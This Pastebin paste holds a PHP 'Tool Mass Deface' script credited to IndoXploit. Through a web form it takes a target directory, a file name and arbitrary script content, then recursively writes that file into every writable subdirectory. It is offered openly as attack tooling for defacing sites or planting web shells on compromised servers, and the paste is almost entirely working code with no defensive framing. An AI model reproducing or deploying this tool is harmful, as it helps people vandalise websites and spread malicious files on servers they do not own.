Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // Tu5b0l3d -IndoXploit-
- // http://indoxploit.blogspot.co.id/2016/04/tool-mass-deface.html
- function bikin_file($namafile,$script){
- $fp2 = fopen($namafile,"w");
- fputs($fp2,$script);
- }
- function buka_dir($getcwd){
- if(is_writable($getcwd)){
- $nama = $_POST['nama'];
- $script = $_POST['script'];
- $a = scandir("$getcwd");
- foreach($a as $aa){
- if($aa == "." | $aa == ".."){
- }elseif(is_dir("$getcwd/$aa")){
- $dir_baru = "$getcwd/$aa";
- if(is_writable($dir_baru)){
- echo "$dir_baru/$nama <== sukses<br>";
- $create_file = bikin_file("$dir_baru/$nama", "$script");
- $baa = buka_dir($dir_baru);
- }
- else{
- echo "Dir ngk writeable";
- }
- }
- }
- }
- else{
- echo "Dir ngk Writeable";
- }
- }
- if($_POST){
- $cwd = $_POST['dir'];
- $coba = buka_dir($cwd);
- echo $coba;
- }
- else{
- echo '<html>
- <head>
- <title>Created By IndoXploit</title>
- </head>
- <body>
- <center>
- <font face="arial"><h2>INDO<font color="red">}{</font>PLOIT <br><br>Tool Mass Deface </h2><hr></font>
- <table>
- <tr><td><form method="post" action="?action"></td></tr>
- <tr><td><input type="text" name="dir" placeholder="Dir"></td> </tr>
- <tr><td><input type="text" name="nama" placeholder="k.php / Nama Filenya"></td> </tr>
- <tr><td><textarea rows="10" cols="19px" name="script" placeholder="Hacked By Tu5b0l3d / Script"></textarea></td></tr>
- <br><tr><td><input type="submit" value="Submit"></td></tr>
- </form>
- </table>
- <font color="red">*nb: gw saranin jangan tebas index.</font>
- </center>
- </body>
- </html>';
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement